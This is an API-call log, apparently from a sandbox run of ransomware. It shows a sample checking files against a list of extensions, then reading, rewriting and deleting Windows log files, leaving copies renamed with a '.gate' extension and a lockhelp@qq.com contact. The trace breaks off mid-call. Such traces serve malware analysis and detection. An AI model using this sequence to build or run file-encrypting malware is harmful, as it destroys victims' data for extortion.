[0273.548] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0273.549] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.549] lstrlenW (lpString=".jpg") returned 4 [0273.549] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0273.549] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0273.549] lstrlenW (lpString="malgun_boot.ttf") returned 15 [0273.549] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.052] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=177414) returned 1 [0274.052] CloseHandle (hObject=0x390) returned 1 [0274.053] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0274.262] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.262] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.262] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.263] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.263] lstrlenW (lpString=".doc") returned 4 [0274.263] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.263] lstrlenW (lpString=".docx") returned 5 [0274.263] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.263] lstrlenW (lpString=".pdf") returned 4 [0274.263] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.263] lstrlenW (lpString=".xls") returned 4 [0274.263] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.263] lstrlenW (lpString=".xlsx") returned 5 [0274.263] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.263] lstrlenW (lpString=".ppt") returned 4 [0274.263] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.263] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.263] lstrlenW (lpString=".zip") returned 4 [0274.263] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.263] lstrlenW (lpString=".rar") returned 4 [0274.263] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.263] lstrlenW (lpString=".bz2") returned 4 [0274.263] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.263] lstrlenW (lpString=".7z") returned 3 [0274.263] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.263] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.263] lstrlenW (lpString=".dbf") returned 4 [0274.263] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.263] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.263] lstrlenW (lpString=".1cd") returned 4 [0274.264] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.264] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.264] lstrlenW (lpString=".jpg") returned 4 [0274.264] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.264] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.264] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.264] lstrlenW (lpString=".doc") returned 4 [0274.264] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.264] lstrlenW (lpString=".docx") returned 5 [0274.264] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.264] lstrlenW (lpString=".pdf") returned 4 [0274.264] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.264] lstrlenW (lpString=".xls") returned 4 [0274.264] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.264] lstrlenW (lpString=".xlsx") returned 5 [0274.264] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.264] lstrlenW (lpString=".ppt") returned 4 [0274.264] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.264] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.264] lstrlenW (lpString=".zip") returned 4 [0274.264] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.264] lstrlenW (lpString=".rar") returned 4 [0274.264] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.264] lstrlenW (lpString=".bz2") returned 4 [0274.264] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.264] lstrlenW (lpString=".7z") returned 3 [0274.264] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.264] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.265] lstrlenW (lpString=".dbf") returned 4 [0274.265] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.265] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.265] lstrlenW (lpString=".1cd") returned 4 [0274.265] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.265] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0274.265] lstrlenW (lpString=".jpg") returned 4 [0274.265] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.265] lstrcmpiW (lpString1=".sys", lpString2=".gate") returned 1 [0274.265] lstrlenW (lpString="hiberfil.sys") returned 12 [0274.265] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.265] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.265] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.265] lstrlenW (lpString=".doc") returned 4 [0274.265] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0274.265] lstrlenW (lpString=".docx") returned 5 [0274.265] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0274.265] lstrlenW (lpString=".pdf") returned 4 [0274.265] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0274.265] lstrlenW (lpString=".xls") returned 4 [0274.265] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0274.265] lstrlenW (lpString=".xlsx") returned 5 [0274.265] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0274.266] lstrlenW (lpString=".ppt") returned 4 [0274.266] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.266] lstrlenW (lpString=".zip") returned 4 [0274.266] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0274.266] lstrlenW (lpString=".rar") returned 4 [0274.266] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString=".bz2") returned 4 [0274.266] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString=".7z") returned 3 [0274.266] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0274.266] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.266] lstrlenW (lpString=".dbf") returned 4 [0274.266] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.266] lstrlenW (lpString=".1cd") returned 4 [0274.266] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.266] lstrlenW (lpString=".jpg") returned 4 [0274.266] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.266] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.266] lstrlenW (lpString=".doc") returned 4 [0274.266] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString=".docx") returned 5 [0274.266] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0274.266] lstrlenW (lpString=".pdf") returned 4 [0274.266] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0274.266] lstrlenW (lpString=".xls") returned 4 [0274.266] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0274.266] lstrlenW (lpString=".xlsx") returned 5 [0274.266] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0274.266] lstrlenW (lpString=".ppt") returned 4 [0274.266] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0274.267] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.267] lstrlenW (lpString=".zip") returned 4 [0274.267] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0274.267] lstrlenW (lpString=".rar") returned 4 [0274.267] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0274.267] lstrlenW (lpString=".bz2") returned 4 [0274.267] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0274.267] lstrlenW (lpString=".7z") returned 3 [0274.267] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0274.267] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.267] lstrlenW (lpString=".dbf") returned 4 [0274.267] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0274.267] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.267] lstrlenW (lpString=".1cd") returned 4 [0274.267] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0274.267] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0274.267] lstrlenW (lpString=".jpg") returned 4 [0274.267] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0274.267] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0274.267] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0274.267] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.452] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0274.452] CloseHandle (hObject=0x390) returned 1 [0274.452] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0274.452] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0x20 [0274.452] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString=".doc") returned 4 [0274.453] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString=".docx") returned 5 [0274.453] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0274.453] lstrlenW (lpString=".pdf") returned 4 [0274.453] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString=".xls") returned 4 [0274.453] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString=".xlsx") returned 5 [0274.453] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0274.453] lstrlenW (lpString=".ppt") returned 4 [0274.453] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString=".zip") returned 4 [0274.453] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString=".rar") returned 4 [0274.453] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString=".bz2") returned 4 [0274.453] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString=".7z") returned 3 [0274.453] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0274.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString=".dbf") returned 4 [0274.453] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString=".1cd") returned 4 [0274.453] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString=".jpg") returned 4 [0274.453] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0274.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.453] lstrlenW (lpString=".doc") returned 4 [0274.454] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString=".docx") returned 5 [0274.454] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0274.454] lstrlenW (lpString=".pdf") returned 4 [0274.454] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString=".xls") returned 4 [0274.454] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString=".xlsx") returned 5 [0274.454] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0274.454] lstrlenW (lpString=".ppt") returned 4 [0274.454] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.454] lstrlenW (lpString=".zip") returned 4 [0274.454] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString=".rar") returned 4 [0274.454] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString=".bz2") returned 4 [0274.454] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString=".7z") returned 3 [0274.454] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0274.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.454] lstrlenW (lpString=".dbf") returned 4 [0274.454] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.454] lstrlenW (lpString=".1cd") returned 4 [0274.454] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0274.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0274.454] lstrlenW (lpString=".jpg") returned 4 [0274.454] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0274.454] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0274.455] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0274.455] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.455] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0274.455] CloseHandle (hObject=0x390) returned 1 [0274.455] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0274.455] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.455] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.455] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.455] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.455] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0274.457] GetLastError () returned 0x0 [0274.457] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.350] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.351] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.352] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x136, lpOverlapped=0x0) returned 1 [0275.352] SetEndOfFile (hFile=0x380) returned 1 [0275.440] CloseHandle (hObject=0x380) returned 1 [0275.441] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.441] SetEndOfFile (hFile=0x390) returned 1 [0275.442] CloseHandle (hObject=0x390) returned 1 [0275.442] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.443] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0275.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.443] lstrlenW (lpString=".doc") returned 4 [0275.443] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.443] lstrlenW (lpString=".docx") returned 5 [0275.443] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.443] lstrlenW (lpString=".pdf") returned 4 [0275.443] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.443] lstrlenW (lpString=".xls") returned 4 [0275.443] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.443] lstrlenW (lpString=".xlsx") returned 5 [0275.443] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.443] lstrlenW (lpString=".ppt") returned 4 [0275.443] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.443] lstrlenW (lpString=".zip") returned 4 [0275.444] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString=".rar") returned 4 [0275.444] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString=".bz2") returned 4 [0275.444] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString=".7z") returned 3 [0275.444] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.444] lstrlenW (lpString=".dbf") returned 4 [0275.444] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.444] lstrlenW (lpString=".1cd") returned 4 [0275.444] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.444] lstrlenW (lpString=".jpg") returned 4 [0275.444] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.444] lstrlenW (lpString=".doc") returned 4 [0275.444] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString=".docx") returned 5 [0275.444] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.444] lstrlenW (lpString=".pdf") returned 4 [0275.444] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString=".xls") returned 4 [0275.444] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.444] lstrlenW (lpString=".xlsx") returned 5 [0275.444] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.445] lstrlenW (lpString=".ppt") returned 4 [0275.445] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.445] lstrlenW (lpString=".zip") returned 4 [0275.445] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.445] lstrlenW (lpString=".rar") returned 4 [0275.445] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.445] lstrlenW (lpString=".bz2") returned 4 [0275.445] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.445] lstrlenW (lpString=".7z") returned 3 [0275.445] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.445] lstrlenW (lpString=".dbf") returned 4 [0275.445] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.445] lstrlenW (lpString=".1cd") returned 4 [0275.445] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0275.445] lstrlenW (lpString=".jpg") returned 4 [0275.445] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.445] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.445] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0275.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.445] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0275.446] CloseHandle (hObject=0x390) returned 1 [0275.446] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0275.446] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.446] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.446] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.446] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.446] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0275.446] GetLastError () returned 0x0 [0275.446] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.558] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.560] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.560] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x3b3fc94, 